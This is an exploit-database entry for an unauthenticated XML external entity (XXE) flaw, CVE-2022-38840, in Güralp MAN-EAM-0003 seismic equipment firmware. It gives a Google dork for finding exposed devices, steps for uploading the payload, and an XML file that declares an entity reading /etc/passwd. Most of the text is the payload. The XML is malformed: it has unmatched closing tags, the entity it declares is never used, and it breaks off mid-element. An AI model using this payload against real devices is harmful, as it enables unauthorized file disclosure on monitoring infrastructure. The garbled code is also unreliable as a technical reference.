发布 2023-03-23 漏洞条目

MAN-EAM-0003 V3.2.4 – XXE

Exploit Source

# Exploit Title: MAN-EAM-0003 V3.2.4 - XXE

# Date: 2022-09-19

# Exploit Author: Ahmed Alroky

# Author: http://guralp.com/

# Version: 3.2.4

# Authentication Required: NO

# CVE : CVE-2022-38840

# Google dork: " webconfig menu.cgi "

# Tested on: Windows

# Exploit

1 - browse to http://<Host<http://%3cHost> name>/cgi-bin/xmlstatus.cgi

2 - click on "View saved XML snapshot" and upload XML exploit file or paste the exploit code and submit the form

3 - you will get /etc/passwd file content

#XML exploit code

```

<?xml version='1.0'?>

<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>

<xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>

<reading status='100' display-primary='false' path='is_faulty'

title='Fault condition'>false</reading>

<reading status='-1' display-primary='false' path='dsp_tag'

title='DSP code tag'>platinum</reading>

<reading status='-1' display-primary='false' path='dsp_version'

title='DSP code version'>102</reading>

<reading status='100' display-primary='true' path='dsp_state'

title='Acquisition hardware module'>running</reading>

<reading status='-1' display-primary='true' path='reference_clock'

title='Reference clock type'>GPS</reading>

<reading status='100' display-primary='false' path='clock_controller'

title='ADC clock controller state'>FLL</reading>

<reading status='-1' display-primary='false' path='clock_control_val'

title='ADC clock controller value'>46196</reading>

<reading status='100' display-primary='true' path='clock_locked'

title='ADC clock locked'>true</reading>

<reading status='-1' display-primary='true' path='clock_last_locked'

title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading>

<reading status='100' display-primary='true' path='clock_phase_error' units='s'

title='ADC clock phase error'>6.1e-08</reading>

</module>

<reading status='100' display-primary='true' path='state'

title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

title='Last action'></reading>

<reading status='96' display-primary='true' path='mass_Z'

title='Z mass position'>4.6%</reading>

<reading status='100' display-primary='true' path='mass_N'

title='N mass position'>-0.3%</reading>

<reading status='100' display-primary='true' path='mass_E'

title='E mass position'>-0.3%</reading>

</module>

<reading status='100' display-primary='true' path='state'

title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

title='Last action'></reading>

</module>

<reading status='100' display-primary='true' path='state'

title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

title='Last action'></reading>

</module>

<reading status='100' display-primary='true' path='total_blocks'

title='Total number of blocks sent'>11374055</reading>

<reading status='100' display-primary='true' path='last5_blocks'

title='Number of blocks sent in last 5 minutes'>331</reading>

<reading status='-1' display-primary='false' path='port_number'

title='Port listening on'>1567</reading>

<reading status='-1' display-primary='true' path='num_clients'

title='Number of clients connected'>0</reading>

</list>

</module>

<reading status='100' display-primary='true' path='num_channels'

title='Number of channels'>16</reading>

<reading status='100' display-primary='true' path='num_clients'

title='Number of connected clients'>5</reading>

<reading status='100' display-primary='true' path='num_samples'

title='Number of samples received'>7338920142</reading>

<reading status='100' display-primary='true' path='last5_samples'

title='Number of samples in last 5 minutes'>213600</reading>

<list-item status='-1' display-primary='false' path='44B02216' title='Client #1'>